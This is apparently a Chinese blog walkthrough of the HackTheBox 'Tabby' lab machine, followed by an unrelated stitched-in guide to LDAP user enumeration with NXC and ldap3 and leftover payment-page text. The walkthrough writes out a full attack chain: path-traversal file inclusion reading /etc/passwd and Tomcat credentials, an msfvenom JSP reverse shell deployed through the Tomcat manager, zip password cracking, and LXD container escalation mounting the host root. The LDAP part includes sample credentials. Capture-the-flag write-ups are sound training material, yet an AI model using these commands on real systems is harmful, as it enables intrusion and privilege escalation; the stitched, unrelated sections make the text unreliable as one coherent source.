HTB-tabby

端口扫描

nmap -sC -sV -T5 10.10.10.194 -oN nmap.txt 

在这里插入图片描述

站点文件包含

#添加主机解析
echo "10.10.10.194 megahosting.htb">>/etc/hosts

发现存在文件包含漏洞

http://megahosting.htb/news.php?file=../../../../etc/passwd

在这里插入图片描述

文件上传

对10.10.10.194:8080进行wfuzz

在这里插入图片描述
XXX/tomcat-users.xml的文件会存在 账户密码
在这里插入图片描述

wfuzz -u  "http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hh 0

在这里插入图片描述
在这里插入图片描述
由tomcat-users.xmltomcat文件可知tomcat只有admin-gui,manager-script两个角色
没有manager-gui角色
故无法登陆http://10.10.10.194/manager/html

manager-gui — Access to the HTML interface.
manager-status — Access to the "Server Status" page only.
manager-script — Access to the tools-friendly plain text interface that is described in this document, and to the "Server Status" page.
manager-jmx — Access to JMX proxy interface and to the "Server Status" page.

admin-gui - use this role for the graphical web interface.
admin-script - use this role for the scripting web interface. 

使用host-manager添加虚拟主机失败 [但是tomcat又存在admin-gui角色,或许可以部署成功…]

发现存在manager-script角色,可使用curl命令上传文件部署shell

  • 为什么部署在http://localhost:8080/manager/text/deploy?path=下?
    由官方文档可知 在这里插入图片描述

shell生成

#msfvenom -l payloads |grep reverse_tcp #查看某一payload
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.51 lport=4444 -f war > get.war

上传shell

curl -f -T get.war -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/get.war"  

#查看shell上传是否成功
http://10.10.10.194:8080/manager/text/list

侦听4444端口,获得shell

在这里插入图片描述

文件爆破

在这里插入图片描述
文件下载

10.10.10.194/files/16162020_backup.zip

文件爆破

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip

获得ash密码

tomcat@tabby:/home$ su ash
su ash
Password: admin@it
ash@tabby:/home$ whoami
whoami

提权

LinEnum脚本枚举

LXD提权

#攻击机
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python -m SimpleHTTPServer

#目标机
cd /tmp
wget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
#创建容器,并指定别名 myimage
lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
#挂载 /mnt/root 
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
cd /mnt/root/root
ls
flag.txt
cat flag.txt

参考链接

其他

  • 若存在admin-script角色,使用命令部署
#Example command:
curl -u test:test http://localhost:8080/host-manager/text/add?name=www.awesomeserver.com&aliases=awesomeserver.com&appBase/mnt/appDir&deployOnStartup=true
  • 多阅读官方文档
### 使用 NXC 工具通过 LDAP 枚举域用户 NXC 是一款功能强大的网络扫描工具,支持多种协议操作,其中包括 LDAP 协议。要使用 NXC 进行 LDAP 用户枚举,可以通过指定域名、用户名和密码来实现。 以下是具体的命令结构以及如何执行的操作: #### 命令格式 ```bash nxc ldap <target-ip> -u <username> -p <password> --domain <domain-name> --users ``` 在此场景下,假设目标 IP 地址为 `10.10.10.10`,并提供给定的凭证 `rose/KxEPkKe6R8su` 和域名称 `sequel.htb`,完整的命令如下所示: ```bash nxc ldap 10.10.10.10 -u rose -p KxEPkKe6R8su --domain sequel.htb --users ``` 此命令会尝试通过 LDAP 连接到目标主机,并利用提供的凭据枚举域中的所有用户账户[^1]。 #### 脚本解释 - `-u`: 指定用于连接的目标用户名。 - `-p`: 提供对应的密码。 - `--domain`: 设置活动目录的域名。 - `--users`: 请求脚本返回当前域内的所有用户列表。 如果成功完成身份验证,则应显示一系列属于该域的有效用户条目;反之,在遇到错误时可以根据提示进一步排查原因(如无效凭据或权限不足等问题)。 #### 注意事项 为了确保能够顺利访问远程服务器上的资源,请确认以下几点: - 验证所提供的用户名 (`rose`) 及其关联密钥是否有效。 - 确认目标机器开放了必要的端口 (通常是 TCP/389 或者 SSL 加密模式下的 TCP/636),以便允许外部客户端发起查询请求。 - 如果防火墙规则阻止了这些通信路径,则可能需要调整配置或者寻找其他可用方法绕过限制条件。 --- ### 示例代码片段展示 Python 中基于 ldap3 的简单实现方式 对于更深入的理解,下面给出一段采用 python 编写的示例程序,它同样实现了上述提到的功能逻辑: ```python from ldap3 import Server, Connection, ALL server = Server('ldap.sequel.htb', get_info=ALL) user_dn = 'CN=rose,CN=Users,DC=sequel,DC=htb' password = 'KxEPkKe6R8su' try: conn = Connection(server, user=user_dn, password=password, auto_bind=True) # Search for all users within the domain. conn.search('dc=sequel,dc=htb', '(objectClass=person)', attributes=['sAMAccountName']) entries = conn.entries if not entries: print("No users found.") else: for entry in entries: print(entry.sAMAccountName.value) except Exception as e: error_code = str(e).split()[0].strip('(').strip(')') if error_code == '52e': print('账号密码不正确') elif error_code == '775': print('账号已锁定,请联系管理员或等待自动解锁') elif error_code == '533': print('账号已禁用') else: print(f'认证失败,请检查账号 {error_code}') ``` 以上脚本展示了如何构建一个基本的 LDAP 查询过程,其中包含了异常处理机制以应对可能出现的不同类型的登录问题。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值